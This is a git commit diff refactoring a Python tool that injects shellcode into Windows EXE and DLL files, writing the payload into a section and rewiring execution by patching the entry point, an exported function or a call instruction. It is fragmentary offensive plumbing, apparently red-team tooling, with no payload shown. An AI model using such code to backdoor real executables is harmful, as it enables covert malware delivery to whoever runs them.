refactor: function hijacker / DerBackdoorer rework

This commit is contained in:
Dobin
2024-04-20 15:09:17 +01:00
parent ab6823c7aa
commit bc6cc4df2d
5 changed files with 144 additions and 286 deletions
+14 -19
View File
@@ -7,7 +7,7 @@ from model.carrier import Carrier, DataReuseEntry
from pe.pehelper import *
from model.exehost import *
from observer import observer
from pe.derbackdoorer import PeBackdoor
from pe.derbackdoorer import FunctionBackdoorer
from pe.superpe import SuperPe
from model.project import Project
from model.settings import Settings
@@ -42,13 +42,13 @@ def inject_exe(
# superpe is a representation of the exe file. We gonna modify it, and save it at the end.
superpe = SuperPe(exe_in)
pe_backdoorer = PeBackdoor(superpe, main_shc, carrier_invoke_style)
function_backdoorer = FunctionBackdoorer(superpe, main_shc)
shellcode_offset: int = 0
if superpe.is_dll() and settings.dllfunc != "" and carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
# Special case. put it at the beginning of the exported DLL function
logger.info("--[ Overwrite DLL function {} with shellcode".format(settings.dllfunc))
rva = pe_backdoorer.getExportEntryPoint(settings.dllfunc)
rva = superpe.getExportEntryPoint(settings.dllfunc)
# Size and sanity checks
exports = superpe.get_exports_full()
@@ -83,11 +83,6 @@ def inject_exe(
# Copy the shellcode
superpe.pe.set_bytes_at_offset(shellcode_offset, main_shc)
# HACK
pe_backdoorer.shellcodeOffset = shellcode_offset
pe_backdoorer.shellcodeOffsetRel = shellcode_offset - sect.PointerToRawData
pe_backdoorer.shellcodeAddr = shellcode_rva + superpe.pe.OPTIONAL_HEADER.ImageBase
# rewire flow
if superpe.is_dll() and settings.dllfunc != "":
logger.info("---( Rewire: DLL function: {} ".format(settings.dllfunc))
@@ -97,10 +92,10 @@ def inject_exe(
raise Exception("We should not land here")
elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr:
addr = pe_backdoorer.getExportEntryPoint(settings.dllfunc)
addr = superpe.getExportEntryPoint(settings.dllfunc)
logger.info("--( Inject DLL: Patch {} (0x{:X})".format(
settings.dllfunc, addr))
pe_backdoorer.backdoor_function(addr, shellcode_rva)
function_backdoorer.backdoor_function(addr, shellcode_rva)
else: # EXE
logger.info("---( Rewire: EXE")
@@ -114,7 +109,7 @@ def inject_exe(
addr = superpe.get_entrypoint()
logger.info("--( Inject EXE: Patch main() (0x{:X})".format(
addr))
pe_backdoorer.backdoor_function(addr, shellcode_rva)
function_backdoorer.backdoor_function(addr, shellcode_rva)
if source_style == FunctionInvokeStyle.iat_reuse:
injected_fix_iat(superpe, project.carrier, project.exe_host)
@@ -124,14 +119,14 @@ def inject_exe(
superpe.write_pe_to_file(exe_out)
# verify and log
shellcode = file_readall_binary(shellcode_in)
shellcode_len = len(shellcode)
code = extract_code_from_exe_file(exe_out)
in_code = code[pe_backdoorer.shellcodeOffsetRel:pe_backdoorer.shellcodeOffsetRel+shellcode_len]
jmp_code = code[pe_backdoorer.backdoorOffsetRel:pe_backdoorer.backdoorOffsetRel+12]
if config.debug:
observer.add_code_file("exe_extracted_loader", in_code)
observer.add_code_file("exe_extracted_jmp", jmp_code)
#shellcode = file_readall_binary(shellcode_in)
#shellcode_len = len(shellcode)
#code = extract_code_from_exe_file(exe_out)
#in_code = code[function_backdoorer.shellcodeOffsetRel:function_backdoorer.shellcodeOffsetRel+shellcode_len]
#jmp_code = code[function_backdoorer.backdoorOffsetRel:function_backdoorer.backdoorOffsetRel+12]
#if config.debug:
# observer.add_code_file("exe_extracted_loader", in_code)
# observer.add_code_file("exe_extracted_jmp", jmp_code)
def injected_fix_iat(superpe: SuperPe, carrier: Carrier, exe_host: ExeHost):